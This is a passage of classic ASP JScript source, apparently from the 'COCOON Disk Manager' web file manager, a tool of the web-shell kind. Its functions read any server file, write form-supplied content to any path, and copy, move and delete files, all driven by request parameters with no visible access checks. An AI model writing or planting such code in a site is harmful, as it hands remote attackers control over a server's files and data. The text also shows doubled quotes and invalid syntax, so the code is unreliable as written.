alue=''''\">"+ "<input type=''button'' name=btnReset value=''关闭'' style=''width:75px;'' onclick=\"window.close();\">"+ "</div><div class=banner>COCOON Online Text Editor 1.0 for Cocoon Disk Manager 4.51</div></form>" + this.HtmlFoot);Response.End();};Cc_Dm4.SelectItem = function(){try{var sAction = Request.Form("Action")(1);switch(sAction){case "copy":case "cut":var sItems = Request.Form("Item")(1);Response.Cookies("Cc_Dm_SelectedItem") = sItems;Response.Cookies("Cc_Dm_Action") = sAction;Response.write(this.HtmlHead+ "<fieldset><div style=''margin:5;''><pre>" + sItems + "</pre></div></fieldset>"+ "<input type=''button'' value=''"+(sAction=="copy"?"复制":"剪切")+"完成'' "+ "style=''width:100%;'' onclick=''window.close();''>"+ this.HtmlFoot);break;case "paste":sAction = Request.Cookies("Cc_Dm_Action")+"";var oDm = new Cc_DiskManager;var sFolder = CURRENT_DIRECTORY;Response.write( this.HtmlHead + "<fieldset><div style=''margin:5;''>" );if(!oDm.CheckFolderExist(sFolder)){Response.write("目标文件夹不正确 " + sFolder);};else{var aItems = (Request.Cookies("Cc_Dm_SelectedItem")+'''').split("\r\n");for(var i=0;i<aItems.length;++i) oDm.CopyFile(aItems[i],sFolder, sAction=="cut");};Response.write( "</div></fieldset>"+ "<input type=''button'' value=''粘贴完成, 请刷新主窗口'' style=''width:100%;'' onclick=''window.close();''>"+ this.HtmlFoot);case "delete":var sItems = Request.Form("Item")(1);var oDm = new Cc_DiskManager;Response.write( this.HtmlHead + "<fieldset><div style=''margin:5;''>" );var aItems = sItems.split("\r\n");for(var i=0;i<aItems.length;++i) oDm.DeleteFile(aItems[i]);Response.write( "</div></fieldset>"+ "<input type=''button'' value=''删除完成, 请刷新主窗口'' style=''width:100%;'' onclick=''window.close();''>"+ this.HtmlFoot);};};catch(e){ShowError(e);Response.write("<script>window.close();<\/script>");};Response.End();};Cc_Dm4.SaveFile = function(sTarget){var oDm = new Cc_DiskManager;oDm.WriteFile(sTarget,Request.Form("fileContent")+"");if(Request.Form("colsewindow")+""!="close"){var sRefUrl = Request.ServerVariables("HTTP_REFERER");if(sRefUrl){Response.write("<script>location.href=''" + Str4Js(sRefUrl) + "'';</script>");Response.end();};};Response.write("<script>window.close();<\/script>");Response.End();};Cc_Dm4.ShowFile = function(sTarget){var st = new ActiveXObject("ADODB.Stream");with(st) { mode=3; type=1; open(); loadFromFile(sTarget); Response.binaryWrite(read()); close(); };delete st;Response.end();};Cc_Dm4.NewDir = function(sTarget){var oDm = new Cc_DiskManager;var sFolder = CURRENT_DIRECTORY;Response.write( this.HtmlHead + "<fieldset><div style=''margin:5;''>" );var sItem = Request.Form("value")(1);oDm.NewDir(sFolder, sItem);Response.write( "</div></fieldset>"+ "<input type=''button'' value=''新建完成, 请刷新主窗口'' style=''width